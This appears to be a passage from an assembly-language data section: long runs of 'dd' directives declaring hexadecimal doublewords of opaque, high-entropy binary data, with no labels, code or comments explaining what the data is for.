24C1C6C0h dd 70940B5Fh, 450F05F7h, 1C840C9h, 8A52834Ch, 624495DAh dd 0E4A17BC9h, 24751DB4h, 112D540h, 34701186h, 38AF8932h dd 6580FFD8h, 399DB9F3h, 0AD094EB6h, 1D059BA1h, 60DCABE8h dd 0F832E093h, 2E773900h, 0F66A5F4Dh, 99884C87h, 0BE3C8447h dd 0A462212h, 0A06520h, 87671830h, 0A201B506h, 9A9C0E8Dh dd 0E9DC3982h, 486D3D89h, 62321001h, 99D10409h, 3F28A130h dd 5C78080h, 0E13D84AAh, 0CCA37A00h, 7DADC3E2h, 50D0A102h dd 0EB3ED20Ch, 4C93A89h, 0AFA0C082h, 0AFF1648Ah, 70836B4h dd 9F189379h, 8D104EC0h, 0D6C20027h, 4801B938h, 5E8885Ch dd 0CBA8A24h, 18D8B357h, 5A1102B4h, 1E0444DCh, 82F5BC78h dd 0ADACC460h, 2A26D885h, 0BAC8DBFCh, 0B9450260h, 0CC50F498h dd 0A4809E0Ah, 5E7880F6h, 286F82B4h, 8933162h, 308AE5C4h dd 0B4D56E90h, 8136741Bh dd 612CC221h, 8317A97Ch, 62C27269h, 30CE0886h, 5188DDFAh dd 0C4485172h, 7519118Fh, 44317F0Ch, 3679A860h, 0F045E6DFh dd 104D0B39h, 2000A2ADh, 0C650F454h, 8940BB48h, 0E73002C2h dd 845868FCh, 39663A46h, 5A0FE287h, 38D82CACh, 0C010480Dh dd 9C0248AFh, 63F8823Ah, 0B48468F5h, 0DA41C0FEh, 55CBD52h dd 0F74CE701h, 80EB5A12h, 880048A8h, 0C0619AACh, 4DA83EB9h dd 306FE83h, 0A90150F7h, 2D49C4A0h, 24E41006h, 3A0CB489h dd 93BCE9DCh, 45FD8690h, 0F60090F2h, 0A609A539h, 60AC49CCh dd 0CE84E065h, 2B133EC0h, 5C419A4Dh, 7737E9C7h, 0CAC28050h dd 4318A044h, 0E4831E58h, 0CC3DC01Eh, 1C91540h, 85AFAA13h dd 0B4C0341Ch, 7EA6F044h, 41792F21h, 30304AF6h, 5814D0ECh dd 386FBEC9h, 3378ADC8h, 0E57731E1h, 91E80C69h, 81104138h dd 0E697F0B0h, 1F512012h, 31CD2C20h, 0C1089301h, 41C4BA9h dd 22CE4896h, 30364C45h, 0FA377B10h, 0C8783303h, 1DFD6C3Dh dd 2BAC8150h, 0D58A4048h, 1640E998h, 189D568Ch, 653D7C7h dd 0AC206928h, 0FA14594h, 19150360h, 2B77CD23h, 310CC38h dd 259EF5F9h, 98EC5910h, 3BDFDC46h, 31235E18h, 9989EE0Ch dd 38DCBCD2h, 27B1A8E9h, 4F22C39h, 0C214E810h, 104FC332h dd 8CAF974Ch, 161AD282h, 0F16C2242h, 840588BEh, 1D513590h dd 0F13EBC40h, 792DE1D3h, 0ADA12BEEh, 0FA6E6064h, 0A60BC80h dd 0EE92AC40h, 0A9C22BA1h, 0BB8F6054h, 0B496B6Ah, 3CA82490h dd 3DB31854h, 7DECA90Ah, 22A12307h, 6242E773h, 0CD4BEAAh dd 64AD1B23h, 5B7A0C71h, 50A2A10Ch, 0C479B0ECh, 1F576208h dd 0B07CA615h, 84E9B3ECh, 281A2C02h, 3EFB02A1h, 0C7DE220Ch dd 614CC929h, 5428879h, 47088C24h, 0C5C5802Dh, 7CF48210h dd 9011558Ch, 6C01F6C7h, 22A2FDE2h, 20886D0h, 6F50272Bh dd 0BAE60823h, 41E9A826h, 0BA53C2A0h, 11A33380h, 160910F5h dd 24AF1025h, 0E3B0FC2Bh, 99B15D94h, 88C001Eh, 62A218FEh dd 0C42270FBh, 7C4F03E9h, 0D10241E0h, 0E8619B14h, 1B1FD978h dd 81AA898h, 184069A2h, 2098F3B6h, 9BC208D0h, 42018489h dd 11219BEAh, 283DC338h, 31CC2849h, 2E84462h, 82108C85h dd 663A0997h, 0F0DF1829h, 9CA4FE8h, 42099846h, 8208268Bh dd 0F1974109h, 0E6E2019Ah, 0ED37118Ch, 0D96DC268h, 15F00851h dd 7B28C6DAh, 7F7418E7h, 46072981h, 8237284Fh, 13441880h dd 2210704Ch, 8B396466h, 0B5E23528h, 8898659h, 0D8516164h dd 0D02589Fh, 1DFF6E37h, 8205AC02h, 2D182D0h, 90FC642h dd 0D8AC24F0h, 4A04649Fh, 47C5F3F8h, 0F80ABFCCh, 22088318h dd 5B428084h, 571968DEh, 21928E71h, 1104C30h, 7D484208h dd 1E497D04h, 106D3054h, 81268C22h, 65C24B3h, 27FFD0A9h dd 434C08Ch, 811477D8h, 4B105CECh, 1574E922h, 2815220Ch dd 0E3C697A0h, 2B2C1744h, 0C1B8126Bh, 0E5B66781h, 954C0113h dd 0A8B0F8B8h, 31E162C8h, 0FF52E0C5h, 1AC88806h, 18503210h dd 0DC4BA020h, 0C25081DCh, 55A4245Dh, 3F283892h, 4E3184EFh dd 0ED3A40F5h, 40593092h, 0CAE0651Ch, 0C93E541h, 2491D8E0h dd 6C00EBA5h, 0CCA0011Bh, 0B0C9FB60h, 0C043EFFh, 61B76939h dd 4CF18C41h, 82263B10h, 0AC415093h, 0E8422B03h, 0A2E48230h dd 72F01EFEh, 95255A01h, 529C38A0h, 3FD099D4h, 0E680D863h dd 0C645F304h, 8C5F055h, 0F8C0DF19h, 1C617BE3h, 545079E4h dd 87A2448h, 57D401AFh, 4631F018h, 0E98187E4h, 586737D1h dd 0C8BA1001h, 1E62E646h, 1EE98638h, 8FCA2008h, 0B1308084h dd 8D66460Fh, 0DC2608C0h, 52C62DE0h, 0E6C220E2h, 788F965Dh dd 464165C3h, 0D01D6489h, 5782A06h, 4F8C600h, 0AD5E6645h dd 8064A72Eh, 6553AE5Bh, 991B9603h, 8A88B270h, 0DA9808EAh dd 1FF75C80h, 9918980Dh, 0C6388F90h, 381E82E8h, 5B6DBE1Bh dd 0B03801F6h, 8646EC8Ah, 0AB08BAD8h, 9FE3A013h, 0E51998Bh dd 12D04085h, 5C9878DFh, 806B4C18h, 62EDF0E1h, 0EB2070E8h dd 0B8EA9886h, 0E0A1E6F1h, 0E345EF71h, 0A62EBBF0h, 12B95C3Ah dd 207C1E66h, 30AF1569h, 101B8862h, 8D8B68ACh, 9B66D815h dd 68CB31F4h, 4C2065C6h, 609461E6h, 0D3B83806h, 3C4F1FC2h dd 0FDC54F83h, 93D14877h, 0C098E02Bh, 0B0E2367Eh, 3EF1B8ABh dd 24510123h, 98405902h, 0F6649626h, 409FF290h, 93911C05h dd 70C0469Fh, 26705037h, 80E4E940h, 2093FFE6h, 32845EE0h dd 0A36184C2h, 0C5B2A648h, 209BA09Dh, 447CDBFEh, 6089A62h dd 0D96C235Bh, 0C5F2C6E1h, 0EE2EF045h, 0F064E0E9h, 6311C081h dd 388420FDh, 5FA8CC66h, 7C9EF810h, 7880A3E6h, 0E8CE4108h dd 50CCF3E0h, 48C50925h, 0E13008F4h, 0BA6DC608h, 8F628CCh dd 6FD4046h, 18C6B9FCh, 7430B792h, 0A581CC51h, 9C8B228h dd 4D061CD7h, 47922EAFh, 818B34D0h, 135C604h, 60152A6h dd 467024B5h, 0ACFB09CAh, 0E149B820h, 163AE014h, 8164002Ch dd 0B4A33974h, 921D60BAh, 0F200ED0Eh, 126FE36Bh, 65240CC8h dd 52089472h, 4032B940h, 283112D6h, 18D7181Ah, 591108Fh dd 0FFA6F283h, 0F927381Fh, 8E9D20Ch, 0FD563E92h, 35AAB207h dd 47EBC448h, 92813745h, 12F02ADCh, 85C28368h, 888500Dh dd 5208A2D2h, 0FBB208C2h, 2B047206h, 0B3D04518h, 3B1040DEh dd 29A01208h, 0D2A940h, 0F0817661h, 444E99F5h, 947FA500h dd 189C9323h, 8C80501Ah, 0C6EDB0C3h, 817D5C0h, 5B492465h dd 0D7C4202Dh, 0E32E4480h, 61C58503h, 1FCD392h, 60EC2AF8h dd 43377E72h, 50111F88h, 22A5C52h, 2CF65380h, 0BF744502h dd 3017ED4h, 0D443E5B1h, 9240211Eh, 883A4823h, 0BC9BA3E8h dd 38EEBE19h, 120886D4h, 5190F00Bh, 2FD0FCC0h, 70A8CC32h dd 35329208h, 0BE751016h, 90C3089Ch, 4380DCD4h, 726FE29Fh dd 0F208CFEFh, 21F09C75h, 0B4778D6Ah, 0AF02740Eh, 1E2E81F5h dd 9ED0491Bh, 1F43789Fh, 33E935Eh, 116D337Eh, 4ABA1AE0h dd 0DDB43C00h, 0C3639017h, 0AC6F3E5Dh, 3954AA00h, 0D5CF02B8h dd 9E381306h, 32583AEEh, 29083B68h, 660424B6h, 3A97BD03h dd 3030EF06h, 0BD81DE46h, 10A47B89h, 0AD74140Fh, 0F52F0330h dd 0A9777CBDh, 0C1304256h, 0F840A77Fh, 6CE34F10h, 201E1110h dd 0A28B49F0h, 0F0401220h, 0D584A2C1h, 462A6487h, 0DE010872h dd 0FE293111h, 0E3D333CBh, 3E100F1Fh, 0BEC3797Dh, 68197FE5h dd 9A07ACDh, 195ED888h, 9CFCE679h, 0C8F886Ch, 7E38121Fh dd 0BE05747Eh, 1E2930D7h, 8D4F6D87h, 0B5E0780Eh, 45C38046h dd 1FCB18C6h, 76110230h, 5337DE2Eh, 4971DC83h, 4B09081Fh dd 2274FE09h, 414DC610h, 1421B318h, 13D3892h, 44D3B818h dd 495E8301h, 0B04DDCDFh, 72240B03h, 3E800060h, 1768C254h dd 0B6646371h, 38684130h, 57446608h, 0E7430065h, 0B7612C88h dd 488138C4h, 8F18F33Ch, 0A3692D1Fh, 312CF0CBh, 4108DDC1h dd 859F11C0h, 80EDE1F0h, 7B7CBD61h, 0B4079D90h, 9178A12Dh dd 97B701C1h, 9FBC40BDh, 847C3E7Ch, 8183210Ch, 8DD5830h dd 0A5FE51C0h, 0E8DCB243h, 0E12941E3h, 3E1DBC1h, 9E630194h dd 5A301h, 0C3E47623h, 9D07DA20h, 0C15370C0h, 9E78E4E3h dd 562E6500h, 0C5440698h, 8FAF06D4h, 31E5C939h, 0E06D6321h dd 0A1A34894h, 0ACC59040h, 0E1F90810h, 258C3F38h, 3BDDA1C7h dd 44539B10h, 0A7DFB981h dd 5398C9Ch, 4738C142h, 0C09B8108h, 0C6170810h, 0C3343866h dd 1C3C70E1h, 0A47E00CDh, 0C938E38Ch, 30CAE045h, 34707CA3h dd 0A055FC87h, 1847FD08h, 40D20A9Bh, 0C00DE4C5h, 0B031C3A4h dd 1E03240Fh, 0D7A3238Bh, 72253801h, 3383A4C1h, 48906C04h dd 2125C618h, 40790571h, 0F0AFFBC1h, 94567699h, 270171BEh dd 9023A49Bh, 0E00899AEh, 0FC5FFBB9h, 0F3F6B502h, 98A6D9C2h dd 0C3184828h, 0FC08ADD5h, 37CAD07h, 0D7226A70h, 0C1A54131h dd 4004FD03h, 9CFC3C7Ch, 11C87183h, 0F943E30Ch, 0DC946DC5h dd 7A449482h, 90FF5785h, 83D7F4C1h, 0E5318A32h, 97F884E6h dd 6743224Fh, 7CF7C52Bh, 88B8C36Fh, 2561242Fh, 0D206542Ch dd 0DD4762D9h, 8302391h, 3FC020C8h, 4920BDD6h, 928C089h dd 662303B4h, 5683A5E6h, 0FC868EF7h, 0D348081Fh, 0C130437Ch dd 0E515D954h, 5E055189h, 11A67022h, 8101984Fh, 829DE538h dd 44BCC24h, 0BF839B1Dh, 204DE11h, 490FBF5Dh, 0D450385h dd 0B8A33810h, 89C1E446h, 843ACD6Fh, 1CEBA539h, 0DD703C34h dd 0B9EDFD77h, 33C1DF39h, 705BB543h, 0ACE84506h, 0E5203987h dd 0B2A32B7Ah, 1B6C6070h, 0C58841DFh, 330C5D5h, 0D9706CB2h dd 68FDF808h, 82250C88h, 1E8AC370h, 92B03970h, 18E08629h dd 23E338B9h, 398770ADh, 0BE2864A9h, 0A609B303h, 8107BC3h dd 83134DE3h, 7CEC7CE5h, 0D371CC18h, 900145B9h, 0E5C32640h dd 0D2F0FBD0h, 39C4D157h, 430328A5h, 8241FE6h, 45F85CEEh dd 225B1032h, 71851287h, 0BEE77C49h, 0CA850CF4h, 0E539F554h dd 541E3A26h, 0F0EC1F15h, 226AF6B1h, 462C87FBh, 5A1944D5h dd 0BC41B009h, 0F45F2023h, 83DA0204h, 310D23A0h, 0A3085B41h dd 0A068221Dh, 0C239B20Eh, 0CBD30541h, 5F1AFC41h, 2F4F02F8h dd 22876984h, 0C0C1CAF2h, 27C5B1Ah, 0F9A07B6Ah, 54503B6h dd 0ECA37015h, 0DD2FF0F0h, 0B6E32283h, 3380962h, 4ECBEEBh dd 294D8EDCh, 39A44CB6h, 90CC5C44h, 2310E631h, 2F45FECh dd 5002B792h, 396926BBh, 16984054h, 15817CADh, 8F74CB45h dd 0E111C500h, 1B5774B8h, 0B032C3F0h, 26B6EAAFh, 232B3814h dd 0D8E0EC16h, 444E9B6Fh, 38C929BBh, 36815C3h, 0CB762163h dd 2866717Ch, 23E97239h, 1BC010E9h, 0A4865A63h, 402C62F0h dd 0F0BEE283h, 2CB4BC04h, 53448DFBh, 9960CE1h, 1089CC6Ah dd 2C514308h, 24A6F1E0h, 9C96274h, 4938A421h, 9FE9C304h dd 3B570210h, 268DC049h, 0A366B19Bh, 52681609h, 6BA09C43h dd 0A4440AD0h, 63BA40E5h, 8C405C6Eh, 80010931h, 0B0C31B83h dd 31D4D103h, 23109008h, 4B05FD3h, 55BC0491h, 81C0C545h dd 5FD4E3D4h, 88E604B0h, 2542B2D3h, 9885FD99h, 3D907CD1h dd 0E6673911h, 0E924050Ch, 8C566C8h, 0C449B423h, 418BE15h dd 0C21483EEh, 0D2495B8Dh, 23B0A4AFh, 0FC02A09Fh, 894CF1FEh dd 0E8634501h, 7CB6D002h, 2B34890Ch, 70A53948h, 23A60C58h dd 0A740CA1Bh, 398309C8h, 541168B1h, 2D0890CBh, 20FA231Fh dd 76E48954h, 28C3A381h, 0F8E01CC1h, 0F9ECA98Ah, 1DE8C207h dd 604624C1h, 2458630Ch, 4FE31248h, 5E12501Eh, 0F8CF5448h dd 47E62517h, 0C72D8944h, 7ACFE3C8h, 0AC09B3E4h, 6266A87Ch dd 62116CD1h, 33C3C896h, 0BEC2E449h, 0D9C53308h, 0BFD1338Dh dd 0E9207F09h, 3C3337Dh, 0E1200B19h, 948331CFh, 0F22F4310h dd 67E91A06h, 58A3080Ah, 0C3F8B898h, 65E38353h, 20270920h dd 43242883h, 0F8FBB4CDh, 457DE81Fh, 8858F689h, 0D1E13664h dd 9202A09Fh, 8CBD549Dh, 340782Eh, 0CFB9C93Ah, 1708283Eh dd 0BA9F251Dh, 0C340BEB1h, 7C099207h, 1CA3C804h, 7B13889Fh dd 89E31893h, 0B8504105h, 84931994h, 67DBFEE0h, 1039DF1Ch dd 1D031640h, 8CDC247Dh, 399162EBh, 43070E45h, 0C243EDBh dd 835B6FC8h, 54A1A539h, 48705B0Bh, 5EDC1811h, 80D78539h dd 0B96580E3h, 746C1708h, 22901157h, 45E50CD4h, 0AD1578BCh dd 882A9F74h, 0C5857F52h, 0EC0A95F2h, 0E309D043h, 2960A4C3h dd 0CB2A2CA0h, 0B8827609h, 88BE1983h, 0A22F613Ah, 65257EDCh dd 7C1940A4h, 9D115D88h, 50A4F79h, 0BC0ACE8h, 828FD9Ch dd 30F8F888h, 8B1DD110h, 0A364337Ch, 0D8135578h, 881D6B43h dd 827412h, 0C0847B03h, 5F129485h, 2845BA40h, 5094A937h dd 2843B4C7h, 24B8A6B8h, 38B097CAh, 0A34A1A4h, 1BA0DF8Ch dd 75A128BBh, 0D07F01CFh, 446A3893h, 83F13DB0h, 8156384h dd 0B24830C3h, 0EE956362h, 84A51991h, 886F58B4h, 8C276308h dd 0B988B3FAh, 8308BD67h, 5858C2F9h, 782F4F5Ch, 851BB98Ch dd 0B2692BC6h, 0A1C30342h, 20580920h, 23103043h, 2D28BCE7h dd 6F6310B8h, 0BC032796h, 2DC70CDCh, 0E569C07Bh, 40B20A24h dd 2348D518h, 190090EAh, 8B9B683h, 0E0243DFEh, 62BE57E5h dd 0EC551B9h, 0ADB54301h, 0C4368447h, 0F3609C49h, 48EE36D8h dd 1960BF49h, 0AC38A5DDh, 34E3E041h, 6A06A05Fh, 414F2C89h dd 2BF00520h, 0E1883323h, 0C2C8E2B0h, 79EF8C2Fh, 827CADCBh dd 52B06B2Ah, 0B6C74522h, 8DBC0F70h, 3FD0274Ch, 0EC9CA8A5h dd 6CAD07ECh, 155B1002h, 0C40C463Eh, 0F7C8E338h, 2FD281D8h dd 0F448CAC3h, 88B051ABh, 0CC144744h, 9480662Dh, 0FC831008h dd 88AE26B6h, 3FFC78Bh, 20F391A8h, 2312B408h, 0E805F450h dd 3CD6FD0Bh, 0EEE31008h, 0F16410F0h, 4DA8612h, 0C1E56CC8h dd 94EE2924h, 19B19010h, 6F11D643h, 0E2C4C300h, 83B38CCh dd 18994DA3h, 23086E31h, 0F0D461C8h, 84981D04h, 0A04C22F1h dd 84434D68h, 94A28524h, 0A3F0C61Bh, 0A3101822h, 0AF43E8FAh dd 0E4211C94h, 3183B150h, 25598863h, 0A02301A6h, 0E8F9A021h dd 0C02F8204h, 0D2FF8441h, 94059805h, 9C4B4AC3h, 85C80F7Bh dd 30C308E9h, 0E3D81259h, 35087CF6h, 0FA77C71Fh, 0EC0526A0h dd 7CCD9280h, 0FA081208h, 3EBFE836h, 0ED881B2Ah, 0F502A45Fh dd 0C0E3D9D8h, 0DEEB4503h, 94CC5770h, 0A2E83CC1h, 0A5398508h dd 940E995Dh, 0B8507665h, 7C032884h, 0B2C1CB47h, 9EBB1D7Dh dd 7C268551h, 0E3088898h, 8380AFFAh, 21FE27B9h, 23E54110h dd 4345C322h, 0BA04841Bh, 45B6A646h, 0A005D3C5h, 0FC4ABBE3h dd 5AF888FAh, 60322282h, 797F2533h, 77087661h, 301D814Dh dd 0E37239Ch, 0BE0960AAh, 0FA11047Ch, 4CC0BC02h, 0CD2E5180h dd 0D1584A99h, 3603011Ah, 9410CC74h, 683F1B0Ch, 230222A2h dd 8A4BEFFh, 0EF39B5FFh, 574422BEh, 60C0A0CEh, 0BFB7E912h dd 0D40C4580h, 83A8B8A1h, 737B6618h, 0C96DA571h, 183ECE39h dd 0A6814E08h, 6CC54566h, 4611826Ch, 0E513A449h, 33C4B09h dd 1EC05CC7h, 4053498Eh, 9928C5A5h, 4F6290CDh, 26DE308h dd 1853BD83h, 0EA27C4C0h, 25A840FDh, 2C4CD959h, 0A96006Ch dd 0E1C8204Bh, 0B0240760h, 89864F8h, 350810Ah, 6CB82489h dd 0B2C308CFh, 0E4430402h, 485C50A0h, 4025C4DEh, 8416406h dd 9BB7F5F1h, 0E108D630h, 2897FEFFh, 83A40247h, 4C70F41Fh dd 32C8144Ch, 9340952h, 0C21C6C07h, 0BC835BC3h, 0F043B943h dd 3C8B0A4h, 0EF1D2FF7h, 96E5D483h, 0AFA982Eh, 8C56D0Ch dd 0B5D63CADh, 5BF2D00h, 47A90DA5h, 3C2BCF00h, 6B8FA262h dd 6EB80040h, 0C9A03A43h, 0F7012D29h, 0A50641CFh, 1C5BFE4Dh dd 33BC9302h, 0EF072823h, 0A00D1DB8h, 30804D46h, 2A0309A1h dd 31880F81h, 0E178AA8Dh dd 0EE053136h, 88DD2FA1h, 3AC5CDD8h, 8A811C53h, 11A7B4ABh dd 685BC54Fh, 1D183A3Eh, 716F31E0h, 0CA4D68C5h, 900F686Ch dd 39DF6F8Ah, 0AD0AA888h, 19D86CF3h, 40CEEAFDh, 1863AFFCh dd 0A09CBD39h, 0CC09C40Dh, 4D08CE40h, 40AD4B40h, 361EED05h dd 0F415A4F0h, 0E89BF384h, 80FB3758h, 95FFA7CFh, 0F088C168h dd 62A12678h, 8DEF3910h, 887CC225h, 0C94618ABh, 0CF0F397Bh dd 0C5D34D80h, 7CC10D08h, 518D88Ch, 2F4165EFh, 2B6890F9h dd 6074BF8Dh, 0DB757F19h, 0AD4FA8A8h, 7A389966h, 9AED2008h dd 0FE604D20h, 630D809Dh, 0ED315C90h, 9ACD089Bh, 4744AD01h dd 48E385B4h, 6D0CF8BCh, 500D0842h, 548DC056h, 0C8BDC4B2h dd 7791AC09h, 28566A22h, 1369C160h, 6F119D32h, 0DF88A24h dd 90F8B82Ch, 2F5B22ACh, 38CE58F8h, 0F0B4F5EDh, 44EB42C9h dd 9B37AFE1h, 0A7197080h, 1848EF20h, 0D14D08C6h, 0F0415092h dd 686CEDE3h, 0DA7E0870h, 0CF0CF269h, 49CD609Eh, 7FF13CFBh dd 0F274F4ECh, 39956789h, 0F4378854h, 99C58608h, 0A2E18741h dd 5FFC8D01h, 0FE220498h, 0F46C450h, 0E2ED6001h, 0EC0898BEh dd 94B5E531h, 0C3A8E82Fh, 0EE62F97Fh, 82144F31h, 0BE2EEDD5h dd 0BCC0C80h, 6F39956Ch, 0F3B51320h, 0F76D4C20h, 1154D01h dd 8D01440Dh, 9EAD0168h, 84BE2712h, 23DDC0Ah, 19BEB465h dd 7068A6E0h, 7EE98C21h, 8983A024h, 259D125Fh, 27987C27h dd 48337308h, 0F5AF0A2Dh, 736DD87Ch, 0D49F9329h, 0E05E8C83h dd 0EF4118DFh, 0AD2C88A7h, 0C0F9A0CAh, 0AB2830FAh, 85C807BFh dd 34DD3678h, 8F4C9113h, 0E450898Dh, 38300395h, 96081881h dd 0EB18F0B8h, 62DAB1Bh, 0B603E208h, 3EB8C27Ch, 349179E0h dd 2322E2EFh, 34D4C0AEh, 315C90B1h, 8D8A325h, 2F188DA2h dd 0DBDD70CCh, 78C24DD0h, 63F0F8DAh, 0D4D510CDh, 3204ADE1h dd 60BFA0C4h, 2078A684h, 20A3770Fh, 2FADF008h, 908718AEh dd 8DF306Dh, 1BB45A14h, 0C2A024EDh, 60D0397h, 9F0A0918h dd 0CEAC120h, 0E7D28DABh, 0E6642C98h, 0D037D08h, 0D018E92Ah dd 5228D279h, 67CDF8E5h, 48EEE9B6h, 8D088718h, 10CE65B7h dd 2D8006DEh, 54F8F8F6h, 78444382h, 0F3281F08h, 7D0392A4h dd 0EC8012Ch, 412F1CF6h, 52CBC93Fh, 848298FCh, 100D8CCDh dd 925304D2h, 84A42138h, 69191F61h, 84526E09h, 0E94D03F0h dd 0F720087Ch, 8FC444E7h, 242D88A0h, 0C4174D80h, 482ADF0h dd 0CD06FB8Dh, 805009A1h, 59404DFCh, 6D5B400Dh, 2D08B862h dd 0A8804F15h, 8B082300h, 0F01B4F8Ch, 0F8DB54EDh, 9DE1CC22h dd 3A418DD0h, 0C888B021h, 0D590100Dh, 109A2D10h, 8D142B4Dh dd 0D19E85Ah, 132DC9D6h, 54C0784Dh, 9115D85Eh, 0F78E589Ch dd 546F198Eh, 0A1CEA8ACh, 1412F4B1h, 0C011802Bh, 848FC28Ah dd 27A486C5h, 0ED8D2850h, 91C7FCB0h, 0E25E5824h, 0AFEA4084h dd 761CF648h, 0C7E84D54h, 0D062CCA5h, 0CF24989Ch, 303898AFh dd 8D088CADh, 10CABB3Ch, 143EC47Fh, 31A4D189h, 0CE0D08D3h dd 14E1B453h, 0B4C0AD08h, 4AC5ED12h, 56B8C994h, 44F69E29h dd 97CEEF89h, 888A102Ch, 0E0489FEAh, 1494FB48h, 0ACA8C80Dh dd 12F747CEh, 0CC4A902Fh, 5656A411h, 4F144458h, 5276985Ah dd 76B18012h, 486F1CF3h, 0ED125C15h, 12C04A38h, 0AEB5688h dd 46ED8F12h, 48E549A0h, 29107249h, 7E598CCEh, 3E54C52h dd 4811A1AFh, 6B26AE6Dh, 94D7BB9Ch, 747D83C1h, 0CF498C2Fh dd 8063918Eh, 8C5996Dh, 987CE0CDh, 23580909h, 142EE694h dd 5FDF81D9h, 4B880590h, 6831A74Eh, 845FE60Fh, 971B7062h dd 0E12F1C98h, 70B178ADh, 4F1CA43Eh, 7B4170A5h, 1C487880h dd 3CB55C6Fh, 4BF6D12h, 0D290EDC8h, 0A4A443FCh, 0B08D0E1Ch dd 4A9D0D16h, 568CF85Ch, 0A8A5FE23h, 0D70C31Ch, 8189428h dd 0B668E8B3h, 0EA08C4EBh, 0F90082DDh, 834368BEh, 0AF24E420h dd 3597B05Fh, 26684448h, 18A319B4h, 0EDE0893Dh, 76F8410Eh dd 4827D197h, 8D0A8C40h, 21FBE012h, 81B116E0h, 0AD013CCFh dd 0FFD42556h, 405150EEh, 5F0FF9A8h, 33D8629Ch, 0EF2C9895h dd 0CED9C90Bh, 6B0D4482h, 102A869h, 7190C22Dh, 0ED0D084Dh dd 0E0011BD1h, 65DA0AA1h, 0AD089C78h, 166D2B60h, 8EE8ECB4h dd 550F0A85h, 25ED0CE0h, 0B0A0FA81h, 0ACA9504Dh, 0ED08895Bh dd 0A1E0A470h, 9F108D04h, 43804070h, 522F0C85h, 0F9644D70h dd 0AD04CB09h, 268D0504h, 814BFC91h, 0C82D088Ch, 9C6DAE0h dd 6530B071h, 0D39209AEh, 6D45C84h, 6210B68Dh, 57ED0849h dd 885F88E9h, 86B6D08h, 0D046ACDh, 508A29Ch, 9E66793Eh dd 20082528h, 0ED54588Dh, 8A624DCCh, 2D16D08h, 8D01890Dh dd 9A02E7C8h, 0CBC0B0Bh, 0C9E93840h, 0C4252208h, 0AD44D236h dd 343E6869h, 0F4A01B70h, 8DFA2EDh, 2D103FD0h, 968D114Ah dd 0D193020h, 6420D87Bh, 0DB2C02D2h, 8493F104h, 0DD1120C4h dd 24966D20h, 9120744Dh, 0DCE32E97h, 3092999h, 8C49006h dd 0ED04B08Dh, 5A921F3Ah, 20F0EC83h, 7CFC8809h, 91FD8D80h dd 0A0E59B8h, 1D5E4F12h, 0F4289400h, 48B7487Ah, 0E4D8CD14h dd 0D4E65474h, 4AF0BA81h, 0A4D80607h, 0A86288CEh, 0A4534D08h dd 2D0427A4h, 0FC6D04C0h, 0E690C848h, 29E24D19h, 0FEAD03B7h dd 39926441h, 0CA0D0598h, 0CB17A01Fh, 11CE684Ch, 3C6D80E5h dd 0AC41BD89h, 1032FECDh, 6F5068B7h, 5D8C925Ch, 69265418h dd 52CD04E8h, 264209BAh, 31099670h, 85B8E464h, 50EF02E6h dd 81CB7478h, 10C199F9h, 4243E09h, 581899FDh, 268EA956h dd 8CFC1C8Fh, 0B1908D68h, 0F261D892h, 0AD576DA8h, 0A83CC025h dd 98DD2A18h, 0BD81E70Fh, 426D088Ch, 2140CDB0h, 8584BEDh dd 0D09EBB8h, 903095C2h, 0C17C833h, 2A8920AFh, 0F3AD08C4h dd 1625DC93h, 2B1B2D60h, 0D31E3FCCh, 0E2CF182Ch, 945C4DF8h dd 0CFCB13A4h, 0D4B18014h, 80FD69F3h, 1093E06Fh, 74E892E0h dd 1531DF87h, 0AEB75C13h, 0B4736665h, 50A714D4h, 70F17467h dd 0EF01CD99h, 0C11027EAh, 0B3C7D244h, 0E50F318Ah, 0C9F6D868h dd 0CC403BEAh, 50E4532Fh, 33A856B0h, 27BF5A20h, 0AC9F18CFh dd 0D0754F0Ch, 6909C050h, 0BB0B57A9h, 9D1D78F6h, 6D00DA1Dh dd 5D93A7C2h, 8A28C25Ah, 4C0A863h, 363FF11Ch, 0D252804Eh dd 70C443D8h, 2BBA0737h, 70476F16h, 3A4CEBCh, 4D6BDF00h dd 0FCEA80B7h, 3126070Dh, 0F0C9778Dh, 0B5D3D66Dh, 15E1B901h dd 0A6CF204Ah, 4BF4A040h, 0E01900C9h, 2AAFDB49h, 0B11EE113h dd 7280481Dh, 70F9E5B5h, 5AE49Fh, 0D1857129h, 9B348E96h dd 941E6B07h, 0CA57D369h, 0D81BAF43h, 342D9B9h, 1D4FF2Bh dd 46C303EEh, 8E8100A7h, 4E01E8FDh, 20496450h, 29D47CDCh dd 0EAFF4D0h, 5AD512EBh, 0B9767220h, 3300918Fh, 5D612D86h dd 1E118877h, 0B9092FE4h, 0A07A8C01h, 0C883A90Ah, 0E0070B90h dd 2DE5851Ch, 337C41D1h, 0E25F0D30h, 0E88A0037h, 10A15A9Ah dd 6404D7F8h, 85B425E1h, 2BD7880h, 58B0004Bh, 0CEBFC83Dh dd 89014956h, 0A13606A8h, 29DCEC38h, 0AC2C004Ch, 0FFC14072h dd 7400F4B0h, 0CAFEF08Eh, 6A952h, 82F3C0D2h, 83363FEAh dd 0E8625E00h, 7385F830h, 81804E6h, 90A929B5h, 772FD00Ch dd 105E48h, 0D5900FFBh, 0BC860Bh, 0BA486BA0h, 0B2D99AB8h dd 0CE05AA00h, 0EACB7972h, 54D21E8Fh, 5802408Eh, 17E1B757h dd 2F75A074h, 323BCC00h dd 8F665501h, 54A3002Ch, 5EC0FA94h, 0D50082BDh, 0B1CAC461h dd 0F6D998h, 311A6EDEh, 31891A8h, 0D3320407h, 0AC4007C7h dd 0EB3A6Fh, 2B5B2DCFh, 0DE6E0885h, 0DD0EAD0Fh, 0A7894EFAh dd 0B2802ED9h, 69C7D7h, 0F566F14h, 371ACA54h, 83CE5500h dd 0A9996A8Fh, 81EF0094h, 221128D0h, 0D300D531h, 0F7EA472Bh dd 89C642h, 97569EAFh, 0C1E537B7h, 1C921B00h, 0E70DA1D3h dd 81ED0021h, 2B2AE27Bh, 2C0241DBh, 0C801D589h, 0D9ACA3CBh dd 5CC807FEh, 0D00ADAEFh, 8A61406Eh, 1C0020ECh, 71227241h dd 7D77C067h, 56D801E5h, 29947BC7h, 43B050D1h, 890001EBh dd 0AA767073h, 48531184h, 0CF0F88A1h, 820FDC9Ah, 76B24600h dd 5B00A6F6h, 5C9099BFh, 0FCF930D4h, 639800E7h, 0D9C6E9C5h dd 0B400A661h, 0B858108Fh, 0CED49Eh, 0C0660F16h, 12F7ED54h dd 0C65D2701h, 6C2EBCC4h, 3DC2BEDCh, 4B81051Fh, 0ACF60FC1h dd 16B6E436h, 1701C07Fh, 0ABE8DC7Fh, 0D5F46201h, 